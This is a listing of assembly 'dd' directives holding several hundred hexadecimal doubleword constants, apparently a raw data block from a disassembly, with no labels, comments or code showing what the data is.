dd 10DEF736h, 326C0A1Ch, 9C0133A6h, 0C133F263h, 1E8207D9h
dd 0A190E84h, 63310A41h, 685809ECh, 5769B2C3h, 6CFE6EECh
dd 94F3145Fh, 2ADA7479h, 0AB20AA7h, 0F558DB2Ah, 2D823CA8h
dd 93169A5h, 6D451261h, 0C5901087h, 8D72112h, 8907329Dh
dd 0FA3759CFh, 48A1BFA5h, 83B78A2Ah, 4C538EE9h, 0C7100710h
dd 4E661C19h, 0D30EEEACh, 44EFF767h, 1695BDC2h, 0D84B43BCh
dd 626057DDh, 6E5AEF65h, 108160Fh, 0C21416F8h, 0AB605602h
dd 7D320EE2h, 0A130D405h, 9347148Ch, 9CF160FEh, 4D1CB11h
dd 0E9F8037Eh, 3BB15002h, 99A01694h, 875FB906h, 180156D6h
dd 736FF755h, 0C40A45D3h, 805870A9h, 6E67E709h, 77E49D23h
dd 8CBF5705h, 80FA9D36h, 5D5986A5h, 99BF0BDh, 254E036Ch
dd 9C30458Bh, 450549BAh, 0E2D1627Ah, 8682B9C0h, 21F8270Dh
dd 0D4E9F830h, 1677BE49h, 6D0076EFh, 0FE18AEBAh, 0EA31317Fh
dd 7AF4B3A2h, 0F34F9A8Ah, 49038FDh, 0CB01131Eh, 0B5480810h
dd 9843A65Ah, 4A9EE90Dh, 8A2340CCh, 0BB71F261h, 0DB05C200h
dd 0E9D33174h, 9087B251h, 0C77A2027h, 5E7C116h, 7DA101AAh
dd 6E06D509h, 8B7C48C2h, 0F2E758F7h, 2D8A1CF1h, 16FABF25h
dd 0AA7F9E30h, 0C625B613h, 0BADB86D8h, 62BD38ECh, 0C163DA81h
dd 304506EDh, 4A12A415h, 910CD9E7h, 0A208645Dh, 24678DEh
dd 52201205h, 7FBACA01h, 6ED98541h, 4D7976F3h, 53258E8Ch
dd 0DD0BC8F2h, 862AFC74h, 4A6E439Fh, 190AB826h, 0E53FA31Eh
dd 0B2502CDCh, 5D8016Dh, 2A545529h, 3D8A7E5Bh, 0B5002127h
dd 0C8310EE8h, 5F80683Dh, 78F19F31h, 8CCDB26Fh, 0A500E8Bh
dd 12E54E9h, 0EEC788C0h, 0D0E1EB93h, 0F9D1AD0h, 0E9CB210Fh
dd 0CE4D926Ch, 0AD5E86EEh, 528B969Dh, 0C8DAF42Dh, 0C4488F2Ah
dd 3892C602h, 7658134Ah, 0D1F0C4FDh, 0CA5D6664h, 0D7FA9C55h
dd 1603EC18h, 392B96F6h, 841FE912h, 8880ABB1h, 2FA3208Ch
dd 8A535A1Ch, 43C07D3Bh, 5E45E1EFh, 17F7EC6Eh, 5C2306Ah
dd 0EF476C9Ch, 0EC2B053Dh, 6A4BA253h, 0FAA86381h, 0BE9FEEAh
dd 9C7FCBF5h, 440AFC97h, 3B80149Bh, 6B58819Eh, 0B51888CBh
dd 21153944h, 0E888E2C7h, 51E6A272h, 0DA53FD5h, 6F56B909h
dd 80E25A12h, 0F3808CC1h, 0CB06975Dh, 2CE29402h, 27C3F7F5h
dd 0A7FBAA6h, 4AE86880h, 0E4C6BD27h, 0B98507DDh, 49610E68h
dd 29F2BB3Bh, 0B0DD5EA2h, 0B7A12903h, 0D6A7405Bh, 0F18A73ACh
dd 0F257EF0Ch, 899C603Eh, 7FEFF4C2h, 0F6A1D75Eh, 8F74E2DDh
dd 4C597ACBh, 3C2CBEFBh, 0D19739A8h, 0CA49EEEFh, 5E3A6085h
dd 8955155Dh, 0A65AE1CDh, 0A02C1362h, 6A75AD40h, 25092B3Fh
dd 0F7415DE8h, 20A79EC7h, 43407BA5h, 953F8553h, 9A08255Ch
dd 0B2415FD9h, 0E8D16EEFh, 0DB80C8B4h, 0B21F22C6h, 0F5B83108h
dd 134E712h, 9F165B0h, 5533A502h, 6C89EDE1h, 3B1C19BFh
dd 0D6E6624h, 0A55B779Ah
dd 73945D6Dh, 5DB391A0h, 57366C01h, 0FE304C68h, 525B5CE2h
dd 4B9B405Dh, 56A52264h, 598C01B5h, 21604820h, 74540270h
dd 614DE9C9h, 0F681FEDEh, 172E51ACh, 475AA02Ah, 8FA33F4Bh
dd 0E919D196h, 2DB8B9A3h, 6BB6DC59h, 0E101CDF0h, 3F015FE7h
dd 60DF65E9h, 58C7103Ch, 0BDDFFE09h, 8706358Ah, 0FFEA800Fh
dd 0F257CA1Dh, 0E91260ABh, 26D12D69h, 0E5F61AB3h, 0B3878750h
dd 88510CC8h, 1540761Ch, 973C04BEh, 0C129DE03h, 7E92AB8Eh
dd 6E09B4A6h, 0B65F0142h, 93D19C18h, 522CAB5Eh, 797417EDh
dd 0A87B0026h, 2D2BEF44h, 6858917Dh, 0F3C12F4Bh, 0F68631DDh
dd 0D7FB0534h, 0C337C8ABh, 68555701h, 4FB516C8h, 75C3B65Ah
dd 81F55060h, 2D13B4CDh, 0F60078AEh, 311EFF01h, 345DEF74h
dd 8DC5D382h, 1C99B004h, 0EFB080FEh, 533B6A8Ah, 1ACF072Ch
dd 183CED51h, 5AF3761Bh, 0D70F8FEh, 9E1FDCE9h, 0C13D4E60h
dd 79F9BE0Dh, 0B8C744DDh, 9D7276Fh, 0F8FD7665h, 364FED68h
dd 4FB1B8B8h, 52BD04FDh, 2C8C660h, 0DE9763A6h, 13BA5019h
dd 1E8217B4h, 0C17C6A76h, 3100E55Ch, 89425BDAh, 16304E48h
dd 518EEA3h, 290C951Eh, 3FFF9FFEh, 31294B78h, 3943B46Fh
dd 4510A265h, 18E547FBh, 15DA230h, 3EF93362h, 38934089h
dd 0CDFBC633h, 0E592FADBh, 50792423h, 0A7685103h, 0E1284702h
dd 867C34D3h, 2D13BAD0h, 7572EFF3h, 8E5712C7h, 7050187h
dd 5F3BE5Ch, 0E9DE290Bh, 9961D413h, 7E092565h, 32E95D2Ch
dd 53981D9Bh, 0F1EA3BDFh, 547B8C72h, 6E26FC51h, 0A07BA71Ch
dd 175FC501h, 0A6B4878h, 2608EDBDh, 6DD5491Ah, 2F14A91Eh
dd 19E9A0E8h, 5101A49Ch, 76E1B966h, 0C3AD63D2h, 0EA0A0247h
dd 0A0E90B0Eh, 0CD7784E4h, 0AF62F831h, 2B415AD5h, 0CFF8F021h
dd 801CDE59h, 0B0B15146h, 807DC1FEh, 0F7EA9573h, 0B8E351B5h
dd 0B252D805h, 25C7E911h, 2703E546h, 2714854h, 10F7A73Fh
dd 0C109A73Dh, 30F504E6h, 7101B428h, 0E952093Bh, 8CCCC455h
dd 9755F995h, 4E2E8F5Ch, 50014B8Ah, 0B5C1068h, 18447241h
dd 0F22FC27Bh, 0A7DF1211h, 437BE4D1h, 8AD5FB18h, 271BC0C0h
dd 0C4602C18h, 51BF2248h, 6BEC03Ch, 3A127C3Eh, 2EBDEF7h
dd 0F808CA89h, 0A5CE9380h, 0E9F07D4Dh, 0D98AC12Dh, 42F03ABh
dd 28E24182h, 9220A47Ch, 0D53ECD24h, 668DED81h, 4AC70991h
dd 0CC9083FEh, 0D20B215Eh, 7BDEA0D1h, 0E7025B4Bh, 0DC9ED02Ah
dd 98126135h, 8160DF31h, 9D5FF821h, 6804C4D1h, 4ACD4CB3h
dd 0FE93A2EAh, 7B864ADh, 0D5320DE3h, 9F36354h, 0C91001B1h
dd 0D20622DDh, 50C044FBh, 0DDF70661h, 20BC14CCh, 0EE3FF892h
dd 1EFD6BF3h, 433E2D02h, 0B7B344h, 157FB82Ah, 0FF094AC4h
dd 515D6540h, 2C6871B9h, 2B00D21h, 7C653828h, 3D5F8840h
dd 105E50Bh, 4A3282CDh, 0AC91F12Dh, 6653184Dh, 644D9A68h
dd 0BBDF8A2Ah, 0F4FDEE13h, 2124E45Fh, 0EC1C572Fh, 36102D8Eh
dd 11608712h, 0C9147F8h, 80F8406Bh, 6A640578h, 0C083E0D1h
dd 41E3E9BFh, 6B7389C0h, 0BE5D3B7Fh, 0DBA0419h, 1FE6BA01h
dd 8097D950h, 658EAC1h, 0CB82E5C5h, 0F13D4093h, 97C5F6D4h
dd 2D0160D2h, 799F377Ch, 0C32FD001h, 89D8A937h, 300FBD5Fh
dd 0D2FA3B0Bh, 0BF8B5DFBh, 0F7F732DAh, 2B941978h, 6D0294E8h
dd 8E342971h, 0F6F604Ch, 784A5860h, 0A9C20342h, 0D19C7BA1h
dd 5585E017h, 0CBDE46F9h, 1928292Ch, 82B4819Bh, 0C076C280h
dd 2527E9E2h, 7D94770h, 97C1668h, 3F3F457Dh, 3D10DF17h
dd 18A53AE0h, 8D3A62Fh, 12ABE2E9h, 26170956h, 0EA0942C0h
dd 0DA4B3D98h, 0B04CECB2h, 8D36972h, 8240230Fh, 3A05B304h
dd 75990238h, 0B51ECC09h, 0EF7622Fh, 4F11B407h, 56C954E2h
dd 79BFDD5Ah, 27E81FACh, 689C359h, 20CE667Bh, 5376B8E5h
dd 8D6DB92Ah, 13CBB758h, 23F05943h, 37B166F3h, 0BA88DEE1h
dd 5EFC5758h, 210BFD94h, 0EBF580F3h, 0D37340h, 7F902DC8h
dd 0D8294248h, 5B070550h, 56676819h, 5A7CFEB7h, 0E4C14C62h
dd 0A4B48F09h, 5D8D4834h, 0D1D8CC93h, 0ACF4ADh, 2C7BA8BEh
dd 0A40B6D8Ch, 51FF0299h, 0A8645720h, 0E7FC3CA0h, 5A01DF2Eh
dd 3DBFB20Ch, 680E06D2h, 0BCF72914h, 4A0BC71Dh, 32E91B83h
dd 2D26256Bh, 6844CD2Fh, 0FEC2E00Eh, 203C7291h, 7B2C9889h
dd 0B6E1DE1h, 1382BE23h, 51E34C04h, 3CB6C9E8h, 586B280Ah
dd 30250635h, 826541C5h, 259846D5h, 0CA7003CBh, 438CB55Ah
dd 875552B7h, 4FED9110h, 0D022D2ECh, 0E898BD98h, 790D224Dh
dd 3DFD6812h, 85309633h, 8266C5FAh, 0B664DA5h, 0AFB75303h
dd 92F88850h, 0A1A045C5h, 0D1190B80h, 55120B65h, 0EE8032BBh
dd 0DD5A9DFCh, 39989198h, 5BDAADA8h, 37A20505h, 9AE44FEh
dd 0FA605C8Dh, 1F4B6856h, 97836F3h, 22F15DC2h, 7000DB5Eh
dd 0E9614534h, 28F460AEh, 180CE0D0h, 7E8C017h, 0E4D8D4BCh
dd 0CF098091h, 506BE94Eh, 2B5458A6h, 0FCD18F12h, 4FF5A669h
dd 0E9A7CC5Dh, 0C06A172Ch, 5FEAE142h, 201449B8h, 6860989Fh
dd 0E60156BDh, 6627AB16h, 5698238h, 3C335657h, 1389BB25h
dd 27B334DDh, 0D3F9FCDAh, 6885ACACh, 38D8332Ah, 0E5271390h
dd 9203E635h, 0BAD68BB8h, 2405862Ch, 796763h, 1A1E35F5h
dd 0E569D13Eh, 808B0004h, 5C90D862h, 12308451h, 6AC4B9B8h
dd 177FE13Dh, 0B0F9634Fh, 0EF835A09h, 6171374h, 0C02A24BFh
dd 0AB07EB12h, 2EE96013h, 13ACE457h, 177B3B51h, 4516AAE5h
dd 0E9090CB7h, 0E17BE5C2h, 0A69E8920h, 9889C97h, 75434CB9h
dd 371C5458h, 722D029h, 58535BF4h, 1D245099h, 0CB54BAEDh
dd 84C5F69h, 0A85EB52Ch, 90A70CCDh, 0FE79055h, 0E15B9F75h
dd 1313A5A4h, 9A50ADB2h, 0C7030090h, 536ABE31h, 9F92E982h
dd 25BC173h, 0CC5F4E2h, 209DC9E4h, 3C704752h, 0C8E83AE1h
dd 49B2BEE4h, 9F388541h, 4AE86802h, 85805C9Eh, 9A30A1E1h
dd 3B0C4F60h, 2612D274h, 0A5D6FDE9h, 3F24A451h, 0C6371E0Ch
dd 0F08A5F5Bh, 546F880Eh, 33A1C608h, 0D3C6951Ch, 0D1BD17B0h
dd 6DF6C9C5h, 97D4688Eh, 4EE88634h, 20FEB873h, 0B03B5810h
dd 70E6ACD1h, 82E2818Fh, 0C0095D51h, 655004AAh, 0C8D56E54h
dd 30B6C5BFh, 4557BB01h, 5FE97005h, 5C24F32Ch, 4933EC7Ah
dd 3CB3E64Ah, 24608657h, 912B52BAh, 0E0A43BF1h, 1D3944Eh
dd 0BD797EB9h, 8BA8AD77h, 0CA2FF5F1h, 9DF82C61h, 5A146017h
dd 830BE9E3h, 1A7DD00Ch, 0C0C1E237h, 7C03DB11h, 81CD029h
dd 2C141C68h, 52391237h, 0CD21EA86h, 36C49E35h, 0C38907BDh
dd 908D4E9h, 8344B1D3h, 52056802h, 0FD6934D6h, 3D098922h
dd 0C5010076h, 0E38DC2FBh, 27759D6Fh, 710B921Fh, 0F434A92Eh
dd 0A2D517B3h, 0A74592C4h, 22A23A98h, 7FF9259Bh, 0F2C2DFEh
dd 0EB1294EBh, 16CA56D7h, 292254BCh, 7D0A2DC0h, 0C5FF16FFh
dd 3E298Bh, 51250C39h, 242EAD1h, 5E0ECA81h, 7D6E75h, 4DD97355h
dd 0E57AB701h, 2F55042Ch, 7A4BC602h, 932DE318h, 8244EFD6h
dd 982C4CD6h, 422AE7Fh, 0D76678BAh, 0C84BA41h, 0E19AC8BBh
dd 1A711718h, 430F50Ch, 0D5313933h, 0AE60AB5Ah, 0E1011C85h
dd 8632802h, 67F8ADF5h, 66538FCCh, 3D78E950h, 0C3801A83h
dd 559FFE93h, 0FACC1F3h, 0DC88013Fh, 403CF570h, 0F54C0167h
dd 0BD3010A7h, 9EDBB2Eh, 69DD4BC8h, 28B85094h, 0ACFE3125h
dd 0DDC4513Dh
dd 0F616A502h, 0C4BB63D8h, 5D485776h, 0A2200253h, 0F629BFCEh
dd 0B7FD1015h, 685DEFE0h, 3D5C5F95h, 4CCB6FECh, 0C3B5E917h
dd 287BAC09h, 9A20997Ah, 0CE302442h, 0D25B421Ah, 3C685100h
dd 2DAF3D32h, 0F86B1292h, 24E682DDh, 0C6BC40CAh, 2CD3726Eh
dd 92368965h, 2ABAB1C4h, 6975EA01h, 6AF06CA0h, 8C1783E3h
dd 69AEEB37h, 16E2324Bh, 342AF0Eh, 0DC759168h, 0F55447BAh
dd 580CA0A4h, 0C5E38B95h, 9C2BAAD1h, 27C1CE7Eh, 55312B4Ah
dd 348509C6h, 246FF5D6h, 78F7A226h, 7FE72C1Fh, 730DB54h
dd 0E3805AF3h, 40EB3395h, 0A9F9DDCBh, 8C393F9Fh, 4E7ED6F9h
dd 0E5E9F0A9h, 0BD042CF0h, 52200648h, 5D3F2BB9h, 0F865D795h
dd 36C0D32Fh, 87828CFFh, 1C59C49h, 3168FF20h, 15E79765h
dd 273236A8h, 5EDF2183h, 1AB66FAEh, 0E7751ABAh, 0BDE984F3h
dd 0D789BAF6h, 3B0892Ch, 749DE6Bh, 0C381007Ah, 56337E11h
dd 0E9401793h, 2FEEB1A5h, 44D709F7h, 49CECD11h, 7A345155h
dd 0FB4870F9h, 6EB951C0h, 6B6D257Bh, 33BB6EE0h, 829E6A3Fh
dd 62E9FB31h, 2A93DD2Dh, 6AA554C1h, 8924AFCAh, 2774A8EFh
dd 7DD4E2D2h, 9B54B6C2h, 0C159B28Ch, 0EA65C738h, 2AED9E01h
dd 0FF89AFD3h, 3FADCF80h, 0CF9827BAh, 44385501h, 384E91Fh
dd 864DD7Bh, 0D57DE970h, 0E0BF0F92h, 0E12A16E6h, 0C0E3F6C2h
dd 0DF5E63F5h, 94E1E58h, 0F80DE9E8h, 30BF052Bh, 0F038084Ch
dd 482F9DE2h, 5EFD4C5h, 0D37BE903h, 55B62174h, 0DCFA6F9Ah
dd 66909A5Eh, 30906296h, 350E4912h, 645A5854h, 3CB08FF8h
dd 0FA584DE7h, 7C231ECCh, 5CF81D17h, 9008C128h, 3476316Bh
dd 3EEDF4E3h, 4459F91h, 0B8475CCCh, 0FE7F2A5h, 2FEE4379h
dd 1487EFE0h, 0C8C07622h, 2AA88B5Ch, 76789D31h, 4EDFF24Ch
dd 0B8502F00h, 7B7628h, 7F50D0Eh, 0D8052779h, 743B617Dh
dd 941E0740h, 0C320A021h, 0FF38158h, 3FE7765Bh, 18733BC2h
dd 0BCD21DC3h, 2771E5F5h, 3AE00FC9h, 2DAE9817h, 0D7EC2F6Fh
dd 677CD0A4h, 1D01D126h, 0C79FE6BBh, 0A82E293Dh, 0C4198DF2h
dd 0E5F5AC2Bh, 0BAA5ABBCh, 4EF8C228h, 6018CD59h, 5E814C85h
dd 4EB6254h, 9F012B0h, 0F3E92089h, 4EC004EFh, 48C1FC6Bh
dd 0F2B2B503h, 0EAA2E90Bh, 4ED63B75h, 0A47DECA0h, 1290922h
dd 80301DE9h, 332CB8ECh, 0B7313D88h, 961215D1h, 0CBAA1FC5h
dd 2F071CA9h, 42537ED7h, 0ED3D03BBh, 0F8EDEB92h, 58A25EBDh
dd 0ED8EE9C7h, 82E32A44h, 0E9C245D2h, 0A38B8E4h, 7E029868h
dd 0C826C6B3h, 78E93CEFh, 734DBD5Ah, 430CF6A8h, 0C6E5355h
dd 15712B2h, 0AF50AE5Bh, 0DDF25A08h, 614FB9C0h, 0CCE25E5h
dd 7D86000Eh, 3015C8BFh, 0E9E6AED7h, 53957135h, 58E29028h
dd 19EA3C76h, 0BA22323Bh, 3E3AEF60h, 2624BF65h, 338925BCh
dd 983D0F6h, 0DD6B8412h, 52A79788h, 954BB907h, 48F6BCEAh
dd 0F9954B96h, 95FADEE0h, 0F1043952h, 79E6775Fh, 0AD84F4BFh
dd 686E8613h, 7F858C00h, 4C0109BBh, 841F2CDh, 0F38656BFh
dd 1A2B1547h, 0B2D837Fh, 8695C92h, 6C988E9Fh, 3E0E2DA0h
dd 0B2A72B19h, 96630C0h, 599C65Bh, 0BFF057E9h, 0C62B7DBEh
dd 0A7CB6B8h, 0C2EEE1Fh, 0DCFE018Bh, 20611212h, 780222A8h
dd 65F7205Dh, 9014E036h, 8541125Bh, 2A0053A2h, 51CEE57h
dd 0A72D7349h, 206D5E36h, 555E0107h, 0AA162FBDh, 8D2A3034h
dd 0EBE8A55Eh, 7E94FBD2h, 55B3E480h, 214E27A5h, 0F23F1058h
dd 49468961h, 2EFDDA31h, 0A84EE7E9h, 5EF69074h, 0FE90C937h
dd 0DC4AA8DDh, 0F56E823Fh, 0CD890Dh, 0D8EB82C5h, 0A0115F4Eh
dd 15B317DFh, 71E77649h, 1C80922Fh, 9EA88B21h, 0BF45944h
dd 4E39D45Dh, 0C0ED6D00h, 95109AB1h, 15685E87h, 0C6F3AC3Ah
dd 4E5E3BFh, 141F80C9h, 58BAEC3Dh, 27417B79h, 0EF5417Bh
dd 20256248h, 1EE86D93h, 0F10C82F3h, 0D767C5B9h, 9D3AC90Ch
dd 0A483BC4Ch, 0EE31E704h, 0F7827FBCh, 47148D8h, 0C5750501h
dd 94D4A861h, 115B3D1Ah, 737AAB0Ch, 2D51F8E6h, 1189D607h
dd 460BF7FEh, 510D544h, 122F6B73h, 40BEA69h, 0CBEF5A08h
dd 2F37129Fh, 4462C1A6h, 0AEE21B3Dh, 1395946Bh, 68C85608h
dd 9930E9A6h, 0EB28E4FAh, 4A807359h, 8717F95Eh, 110E30CEh
dd 0BB145978h, 0BE38912h, 0DC63181Dh, 0E1570ADAh, 0F22B306Fh
dd 0FC27DCEDh, 0B0BBA0E3h, 9F14BD78h, 5FFF0995h, 649FE59Ch
dd 0D0680264h, 4EDBE94Fh, 0FF20D6AFh, 5D483F67h, 0C98F63BFh
dd 8C7B5369h, 119DFFBCh, 64E8ED09h, 215D4C9Ah, 78690890h
dd 849D1775h, 0B774EE9h, 93045FC0h, 60D3A192h, 0D91E5F2Fh
dd 0E1D7DD28h, 25F68AB0h, 0A7766D6h, 461F9A22h, 62972CA5h
dd 0A12C2E37h, 0C9053CC7h, 0E97A1770h, 6DD01021h, 0BAEE8812h
dd 5D590809h, 0FB0390C2h, 0AB05AA1Bh, 6F2D32F5h, 107ECF04h
dd 0E75C4EB7h, 25B502Ch, 159E1E32h, 158E041h, 0C17F315Fh
dd 0E8C6BF03h, 0D0C71691h, 12C62C9Eh, 0B14F0A8h, 71E91E54h
dd 50B71D50h, 0E8C9091Eh, 0A35E844Bh, 0AD5F0E10h, 30BE101Dh
dd 16BBACD7h, 0B0E35C6Dh, 0FC22E10h, 54AEC80h, 23BAFDD6h
dd 0EFC954CBh, 252280F7h, 3ADC5C92h, 2E800C1h, 0E0E7A12Dh
dd 0C24D89C5h, 0EAD49C40h, 29211090h, 12C15816h, 5AD0A4F2h
dd 0FE98F213h, 34EFD416h, 35E3F43Ch, 3D38746Ah, 0CEBA5213h
dd 8E8B4E4Ah, 0B99C7A7Ch, 4E120510h, 34C4CBh, 278C78D8h
dd 0FDB0D729h, 0C3040882h, 96802FFh, 66E7D46Ah, 879C7101h
dd 7284E904h, 0AFF06FACh, 665E933Eh, 64122680h, 0F50D0075h
dd 0F77E2A6Fh, 50448D0h, 7DE64C1Ch, 0A4776DC7h, 0C35F1232h
dd 5A510B86h, 0A45CC530h, 92699270h, 1DBD27BEh, 0F6F63A42h
dd 9B53B613h, 0C3F54B05h, 3D816AB4h, 0D29DA3E7h, 1A84BC61h
dd 0FA3C9B6Ah, 0B13E35CDh, 0BBF7550Eh, 94B07CAh, 5EC43CEDh
dd 5555695h, 0E7011C44h, 0E1621601h, 893FF763h, 30967F67h
dd 0F5D5E585h, 5C010208h, 3B5E0287h, 59C33248h, 0C21241A6h
dd 0EF593A7Bh, 0DC38E0E4h, 0D174EA4Eh, 3FE8883h, 70CCC737h
dd 0FC050342h, 0FF366A8h, 76E8C06h, 0EAD8D3B0h, 0D21689CBh
dd 59E39C78h, 0A55C6795h, 0C3E8D556h, 174E5F13h, 0E7B9E4E1h
dd 0E37797FFh, 0F51FBC1h, 0DE7B30F0h, 748B6525h, 36150013h
dd 0C309795Ah, 134D4C95h, 0BB011FA0h, 5EFCECD8h, 0BBBF4197h
dd 41432466h, 18834ACh, 0A760F131h, 92B54FA2h, 0A0D5848Dh
dd 178FC6BBh, 0C1A613Eh, 30460D38h, 350BEED1h, 552D1B30h
dd 7B78FAB1h, 75E057CDh, 80F59C40h, 4A146A0Ch, 23FACD29h
dd 351A0B60h, 0B0716D28h, 0CE4820F5h, 0DB5A0AFEh, 0E9C2E6E7h
dd 4775446Bh, 0CC253FBEh, 73B59C50h, 0A85F6484h, 0B6A95B3Eh
dd 37554979h, 4A5B902h, 0A5575147h, 0AAA5D1EEh, 393A61DDh
dd 0EFE2F99Ah, 0DDCF1041h, 4BBC6CC4h, 96A21E35h, 0CA685C06h
dd 2F20CD6Dh, 0CF43F76Fh, 0F91940BAh, 0A56312C2h, 7E4D067Ch
dd 94972772h, 0A8EA9520h, 964972D9h, 2C5548F7h, 0D00AD500h
dd 4B06BD5Fh, 39C8C22Eh, 0D722911Ah, 54953A16h, 6127256h
dd 20D8F07Fh, 4976DA29h, 77A76A32h, 0BDCE7CBDh, 0B254D993h
dd 9B056B6h, 0D411E868h, 0EC8F62ADh, 390AD07Bh, 0D76BBD2Eh
dd 0F99DE7B4h, 0C0C6C901h, 71FFB20h, 0E2338F0Dh, 2E1D5046h
dd 35042DD1h, 237C3CF3h, 82BAC794h, 0D95540EFh, 0F6D2201Fh
dd 2ACA3C2Ch, 0E33600CFh
dd 5C482D15h, 8BE99BCBh, 999799AAh, 0EEE8846Fh, 4CA525E5h
dd 10F26DFEh, 92B22A87h, 7A409FDEh, 16160BCBh, 9B0137F9h
dd 83E9EB87h, 5E25F97Ch, 0FB537154h, 880B0BFAh, 0DA8C59ECh
dd 0A995280Eh, 5C41D2A7h, 0A05BD8D5h, 574F085Bh, 0EA7F96F0h
dd 2A30ED88h, 9258009Ch, 3DCF8102h, 7C259009h, 30A17647h
dd 7813342Ch, 0CEE9380Bh, 0F6912BCDh, 0C9D028Eh, 5057731h
dd 6DE90707h, 0F50BA7Ch, 0C4FE52B4h, 0F8E0F745h, 46D7D342h
dd 2708696Ah, 0E8300E5Dh, 14DED8E5h, 5125EBAFh, 1FAB2F12h
dd 0B85DBD05h, 46915B3Bh, 0CC2ACDF2h, 1E7E436Bh, 885A382Fh
dd 800F35Ch, 1729956h, 2CD9AC2h, 0B6ED4171h, 34E1DA31h
dd 4B6966CCh, 0C45FB849h, 0C4A54BDFh, 48DCCE5Eh, 36C06ACh
dd 20C4C8Fh, 662F5382h, 0E088D601h, 0E9500508h, 35CFCCBh
dd 0B568B252h, 45D5826Bh, 0F58086F5h, 0CB25F2ECh, 0B1615342h
dd 0C85E1356h, 0E9EC294Eh, 6D8E624h, 572577BAh, 0A794D7E3h
dd 3A599FB0h, 57502D13h, 54B5C39Eh, 0A3149247h, 445E3FB7h
dd 8D2FEB1Ch, 58533CDEh, 7DE9C3F7h, 0A13D4C34h, 8584E94Bh
dd 0FB472668h, 77F15BF9h, 0C8C1BF2Ch, 0B1C20A62h, 1E380D7h
dd 6F5EAB91h, 811B130h, 6744BF01h, 26EE9320h, 42FCC689h
dd 0C523AE35h, 93597DAh, 0C59C55E2h, 0FBDF68EBh, 5FD80D62h
dd 925B6561h, 62CB5D4Fh, 0FFF82185h, 445FB22Eh, 14133A9Ah
dd 0F7362461h, 25AED745h, 2DA3AB49h, 3E62EF92h, 2FE75C90h
dd 20618561h, 95C73AFh, 4F6D12B0h, 1A9E87F8h, 227C6133h
dd 44DDF70Fh, 89A80782h, 6A77F1C0h, 9C906071h, 8B6EF805h
dd 81AB217Fh, 6C1F2702h, 5B7A9CAEh, 0B84BC7FDh, 0F410B1C3h
dd 7C38000h, 39241F0h, 637D5C9Fh, 0CD108759h, 4B27FCC0h
dd 0BEB0BFF8h, 0F3ECB877h, 0F469A906h, 2CB60140h, 4155FA0Ch
dd 426360A5h, 0B174E8DFh, 0F010D00h, 26DEF753h, 0AF545EE9h
dd 469D3772h, 20A9B080h, 5848E161h, 73ED04B9h, 9AC32816h
dd 0F4958F4Ah, 8E2E83FCh, 0B5BE81FFh, 7A68C263h, 9DD07987h
dd 79F5211Bh, 0BDED045Eh, 0AC05DFFDh, 0E5E94E1Bh, 0BECD22E4h
dd 0CFB74778h, 0E78B9F88h, 1212BE5Fh, 0E8D37CE9h, 685FC141h
dd 8F2A5434h, 8206496Dh, 54FCA2E9h, 0F85483Fh, 39A140B3h
dd 0A7B1F781h, 542B570Dh, 0BA2CC368h, 0F5E9939Ch, 7E871011h
dd 7DE77DC0h, 217527D2h, 0A0BE1E53h, 9314F1Bh, 9D78B792h
dd 59E0F49Dh, 0B6883B21h, 0BFB39A0Ch, 5FE299D3h, 700DE052h
dd 164F8B07h, 0AC85934h, 0F21504DEh, 0AB5C0120h, 0C04D2CDh
dd 949806AFh, 0CB0737C3h, 59F60218h, 4BD422B4h, 0A18BE12Ch
dd 0EA080238h, 0D859C80Ch, 128DBC15h, 0E95C2D1Fh, 57084030h
dd 5A48497h, 0F58431B9h, 6D6802F3h, 24347D59h, 2253E90Ch
dd 692F0A01h, 4075A0D5h, 3168B662h, 4C293C44h, 80B738BFh
dd 965CA28h, 0E8969FD6h, 0AFA424Dh, 0C68555Eh, 6FA7BC8Ah
dd 0CD0B111Fh, 4B1F0037h, 94CA34FCh, 2AA21D7h, 50D5530h
dd 4F4BBE90h, 1002EB28h, 326D9212h, 6C13C8FEh, 28D00CA4h
dd 0B6A9A1Ch, 3E05D72Ah, 33CC0908h, 2CAC40A1h, 0D118C9D9h
dd 47A164AFh, 0D2422458h, 51CF0500h, 50BD7h, 572A694Fh
dd 310DE0D1h, 686E5B26h, 0A3C4C012h, 0F7E29C80h, 39E50C56h
dd 0C2CCEAC1h, 0F520D20Ch, 0FC670C4Eh, 0A8255B1Ch, 64555C8Fh
dd 0B0FCEB70h, 5106BAD7h, 120607E3h, 92516605h, 7248644Dh
dd 2E1E41BFh, 0DDBF12CDh, 0C35B2EA0h, 0EC80813Ch, 63B668DCh
dd 9779373h, 84C6E919h, 3EA6C4C8h, 1674F35Ch, 0D4F73CADh
dd 1B864B48h, 0F045ED4h, 0CC68C8BFh, 0E9C6C0FCh, 0AD90210Bh
dd 0A0E85848h, 308405h, 802D150Dh, 17E1071h, 0F18FC74Eh
dd 0E9545004h, 0B221A092h, 0FE59D277h, 55E75EF8h, 5837F50Ch
dd 524F7C30h, 0FA60A38Dh, 6BAB2568h, 0C8A564D3h, 2D742C46h
dd 37E123F9h, 0C13C7Eh, 0C586DB9h, 0F9CD091Bh, 29CDD27Eh
dd 405A2DD4h, 46C02BEh, 0D6E974DDh, 0C996FCF1h, 7F8B5D12h
dd 0CD5D7F8Bh, 0EA718990h, 566AE020h, 584E6E85h, 12DE3A0h
dd 956F444Ah, 0B48BD4E9h, 0F7A8D08Fh, 753C5B0h, 91294B2Ah
dd 0E0DC5D65h, 0B66AF920h, 3114274Eh, 0F0031969h, 3C120EE1h
dd 332241E5h, 0B769709Eh, 8FDFF868h, 7FE6189Fh, 6CBE8054h
dd 47383503h, 0E36BCE81h, 0C4FFC590h, 46BCC0DFh, 925A6CE9h
dd 5EA02B98h, 0A8ECEC5Fh, 0E2917AEh, 42C8B169h, 0D073BBDCh
dd 49CA143Dh, 2BE781A7h, 0C820846h, 0C9F51432h, 0AE3FE8D5h
dd 3B6EBFFEh, 5CCD8102h, 87622E58h, 1D65B5CDh, 0CC2F80BBh
dd 495CB255h, 6D250524h, 0F4873DEFh, 65183360h, 0D0D64FF7h
dd 4F0CCE75h, 0F56E0626h, 463D102h, 72E37542h, 0E99891F7h
dd 0E1853E0Ah, 1BB3B98h, 21B61325h, 6C7AE957h, 5B5F278Dh
dd 48410DDCh, 0B65CD819h, 1E98B49Ah, 86DC700h, 0B8E38117h
dd 373D2E19h, 6893C92h, 4F036059h, 2E9A0A50h, 81A85877h
dd 0B9E75B08h, 4CCA8CE9h, 0D2252DE6h, 689FBADBh, 9FCD4516h
dd 7C612ECCh, 12265D4Eh, 3E3AB900h, 0E1C156F6h, 0F1002A90h
